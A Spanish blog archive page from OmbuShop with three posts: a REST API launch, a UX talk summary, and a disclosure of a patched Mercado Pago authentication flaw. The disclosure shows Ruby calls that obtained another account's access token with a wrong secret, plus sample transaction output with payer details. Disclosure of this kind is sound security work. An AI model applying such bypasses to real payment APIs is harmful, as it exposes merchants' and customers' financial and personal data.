OmbuShop Crea Tu Tienda Online

Artículos para el mes: agosto, 2015

Desarrolladores: Conozcan nuestra nueva REST API

  • Facebook
  • Twitter
  • LinkedIn
  • StumbleUpon
  • Email
  • RSS

OmbuShop lanzó esta semana su REST API al público, para que los desarrolladores puedan hacer mejor uso de sus tiendas en OmbuShop.

A partir de ahora, todas las tiendas en OmbuShop tienen acceso a la REST API, mediante la cual se puede obtener información de su tienda. Por ahora, solo se provee acceso de lectura de los productos y categorías de una tienda. Más adelante incluiremos acceso a los pedidos de una tienda, así como acceso de escritura, para que programáticamente se puedan agregar nuevos productos, categorías, variantes, etc.

Cómo empezar:

Para obtener tu clave de acceso a la REST API, solo tienes que ingresar a tu panel de administración, ir a la sección “Configuración” y en la sección “Mi Tienda” veras tu clave bajo “Tu clave para la REST API“. Recuerda que tu clave es secreta, tiene la misma importancia que tu contraseña, por lo que no debes divulgarla.

Ejemplo de uso de la REST API:

Para el ejemplo usaremos Javascript y HTML, pero se puede usar cualquier lenguaje que deseemos.

Listado de todos nuestros productos, con su nombre, descripción, stock disponible y un link al producto:

See the Pen gaYRyj by Mauro Otonelli (@mauro-oto) on CodePen.

Para obtener más detalles, puedes ingresar a la documentación de la REST API.

Agujero de Seguridad en Mercado Pago

  • Facebook
  • Twitter
  • LinkedIn
  • StumbleUpon
  • Email
  • RSS

El 17 de abril descubrimos una vulnerabilidad en la seguridad de la API de Mercado Pago. Antes de revelar esta información, contactamos a Mercado Libre y les enviamos un reporte detallado del agujero de seguridad encontrado y cómo reproducirlo.

La vulnerabilidad permitía a cualquier persona obtener un token de acceso sin el uso de una correcta clave secreta para una cuenta.

Pueden ver cómo funciona el proceso de autenticación en Mercado Pago aquí:
https://www.mercadopago.com.ar/developers/en/api-docs/basics/authentication/

Luego de 7 horas, Mercado Pago arregló la vulnerabilidad en su entorno de producción.

Cómo reprodujimos el problema

Este ejemplo utiliza Ruby 2.1.2 y la gema de mercadopago.

<2.1.2 :001 > token = MercadoPago::Authentication.access_token("8872", "lalalala")>

El primer parámetro es el id del cliente (una cuenta en Mercado Pago) y el segundo parámetro es la clave secreta (sólo el dueño de la cuenta debería conocerlo).

Para el id del cliente usamos 8872, el mismo no nos pertenece, y para el “secret” usamos lalalala para mostrar que realmente no es la clave secreta correcta.

Con esa información, fuimos capaces de adquirir el token. Con él, se puede acceder a gran cantidad de información asociada con los pagos de la cuenta.

Por ejemplo:

<2.1.2 :002 > response = MercadoPago::Collection.search(token["access_token"], status: :approved)>

Con esta consulta, se pueden ver todas las transacciones aprobadas para una cuenta que no te pertenece.

Por ejemplo:

<=> {"paging"=>{"total"=>98, "limit"=>30, "offset"=>0},
    "results"=>[
      {"collection"=>{"id"=>753859418, "site_id"=>"MLA",
       "date_created"=>"2014-03-13T16:58:20.000-04:00",
       "date_approved"=>"2014-03-13T17:00:38.000-04:00",
       "last_modified"=>"2014-03-13T17:00:38.000-04:00",
       "money_release_date"=>"2014-03-15T17:00:38.000-04:00",
       "operation_type"=>"regular_payment",
       "collector_id"=>16605960, "sponsor_id"=>nil,
       "payer"=>{
         "nickname"=>"XOMBULABSX",
         "first_name"=>"JON",
         "last_name"=>"SNOW",
         "phone"=>{"area_code"=>"291", "number"=>"123412", "extension"=>nil},
         "email"=>"security@ombulabs.com",
         "id"=>83110350,
         "identification"=>{"type"=>nil, "number"=>nil}},
         "external_reference"=>"1448",
         "merchant_order_id"=>11567450,
         "reason"=>"Premium package", "currency_id"=>"ARS",
         "transaction_amount"=>81, "total_paid_amount"=>81,
         "shipping_cost"=>0,
         "account_money_amount"=>0,
         "mercadopago_fee"=>4.85,
         "net_received_amount"=>76.15,
         "marketplace_fee"=>nil,
         "coupon_id"=>nil,
         "coupon_amount"=>nil,
         "coupon_fee"=>nil,
         "finance_fee"=>0,
         "status"=>"approved",
         "status_detail"=>"accredited",
         "status_code"=>"00",
         "released"=>"yes",
         "payment_type"=>"credit_card",
         "installments"=>1,
         "installment_amount"=>nil,
         "deferred_period"=>nil,
         "cardholder"=>{"name"=>"JON SNOW", "identification"=>{"type"=>"DNI", "number"=>"26000000"}},
         "statement_descriptor"=>"WWW.MERCADOPAGO.COM",
         "transaction_order_id"=>nil, "marketplace"=>"NONE", "tags"=>[],
         "notification_url"=>nil}},
      {"collection"=>
        {"id"=>756415807,
        "site_id"=>"MLA",
        "date_created"=>"2014-03-20T15:42:35.000-04:00",
        "date_approved"=>"2014-03-20T15:42:35.000-04:00",
        "last_modified"=>"2014-03-20T15:42:35.000-04:00",
        "money_release_date"=>"2014-03-22T15:42:35.000-04:00",
        "operation_type"=>"regular_payment",
        "collector_id"=>16605960,
        "sponsor_id"=>nil,
        "payer"=>{
          "nickname"=>"YOURNICKNAME",
          "first_name"=>"Matias",
          "last_name"=>"OMBU",
          "phone"=>{"area_code"=>"291", "number"=>"4000000", "extension"=>nil},
          "email"=>"hola@ombulabs.com",
          "id"=>18878708,
          "identification"=>{"type"=>nil, "number"=>nil}},
        "external_reference"=>"1457",
        "merchant_order_id"=>13031193,
        "reason"=>"Premium package",
        "currency_id"=>"ARS",
        "transaction_amount"=>81,
        "total_paid_amount"=>81,
        "shipping_cost"=>0,
        "account_money_amount"=>0,
        "mercadopago_fee"=>4.85,
        "net_received_amount"=>76.15,
        "marketplace_fee"=>nil,
        "coupon_id"=>nil,
        "coupon_amount"=>nil,
        "coupon_fee"=>nil, "finance_fee"=>0,
        "status"=>"approved",
        "status_detail"=>"accredited",
        "status_code"=>"00",
        "released"=>"yes",
        "payment_type"=>"credit_card",
        "installments"=>1,
        "installment_amount"=>nil,
        "deferred_period"=>nil,
        "cardholder"=>
          {"name"=>nil,
           "identification"=>{"type"=>nil, "number"=>nil}},
        "statement_descriptor"=>"WWW.MERCADOPAGO.COM",
        "transaction_order_id"=>nil,
        "marketplace"=>"NONE",
        "tags"=>[],
        "notification_url"=>nil}},
        ...
      }>

La información sensible fue intencionalmente modificada.

Entonces, durante el tiempo que esta vulnerabilidad estuvo vigente (por lo menos 7 horas) un atacante pudo haberla usado para:

  • Encontrar información sobre todos los pagos que tu cuenta hubiera recibido desde que empezaras a utilizar el servicio.
  • Encontrar información sobre tus clientes, su DNI, nombre, número de teléfono.

Todo lo que el atacante necesitaba para aprovechar esta vulnerabilidad era el ID de cuenta de Mercado Pago y algo de conocimiento básico de tecnología.

Cómo descubrimos este problema

En OmbuShop, nuestros tests de integración usan sandbox de Mercado Pago para verificar que el monto que el cliente tiene que pagar es correcto. Sé que esto no es ideal (¿o lo es?) pero es tan real como se convierte para nuestros tests de integración.

Uno de nuestros tests verifica que no se pueda obtener determinada información con credenciales de usuario incorrectas. Cuando el test comenzó a fallar en nuestros tests continuos, comenzamos a investigar y encontramos este agujero de seguridad.

Qué es lo que me preocupa

Es difícil entender que una pasarela de pagos tan importante nunca haya publicado información acerca de este agujero de seguridad. Yo esperaría que ellos supieran si alguna información fuera accesible para gente que no tiene acceso a ella.

Ellos pueden verificar sus logs de acceso y ver quién accedió a su API usando un secreto que no era el correcto. Luego, podrían informar a sus clientes acerca del problema y advertirles acerca de la situación.

Mercado Pago, un producto de Mercado Libre ($MELI) que es una empresa que cotiza en bolsa, ni siquiera dispone de información pública de las versiones de su API ni tests de integración continua que detecten una vulnerabilidad tan obvia.

Tal vez sólo estoy acostumbrado a los reportes de vulnerabilidad publicados por Github acerca de sus vulnerabilidades. Tal vez Github es mucho más serio que Mercado Pago acerca de su privacidad y seguridad online.

Creo que Mercado Pago necesita ponerse al día y ser más transparente acerca de su plataforma y la privacidad de sus usuarios.

Un buen comienzo sería implementar una mejor forma de recibir reportes de vulnerabilidad en su seguridad y revelar información acerca de sus problemas de seguridad.

Hasta el día de hoy, no han revelado información alguna acerca de este agujero de seguridad y resulta muy difícil encontrar un modo de reportarles un problema de seguridad.

UX: Cómo Mejorar la Experiencia en una Tienda Online

  • Facebook
  • Twitter
  • LinkedIn
  • StumbleUpon
  • Email
  • RSS

Hace unas semanas participamos del X Encuentro Latinoamericano de Diseño en la Universidad de Palermo. La charla estaba dirigida a aquellos diseñadores que se encuentran frente a nuevas necesidades a la hora de crear productos digitales: incorporar nuevas herramientas y prácticas para mejorar la experiencia de usuario de sus productos y ofrecer nuevos servicios para la creación de tiendas online.

Presentación

A continuación les dejamos la presentación de la charla. Cecilia, nuestra líder de diseño, realizó un breve repaso sobre su experiencia con el diseño en estos últimos años y señaló un cambio en su metodología de trabajo, con nuevas prácticas y herramientas, a partir de pensar al diseño centrado en el usuario.

Lectura recomendada

Para la realización de la presentación hubo un trabajo de investigación previo. Queremos compartir con ustedes aquellos artículos que nos resultaron útiles e interesantes

UX
Claves para una tienda online efectiva
4 Best Practices for Unforgettable Landing Page UX
Getting started in UX design

User research
When to Use Which User-Experience Research Methods
A Five-Step Process For Conducting User Research

User Testing
Qué es una prueba de usuario

Google Analytics
Cómo analizar Google Analytics
The small business guide to Google Analytics

Conversion
Errores comunes que afectan la conversión

Otros
Los 50 términos imprescindibles del Marketing Online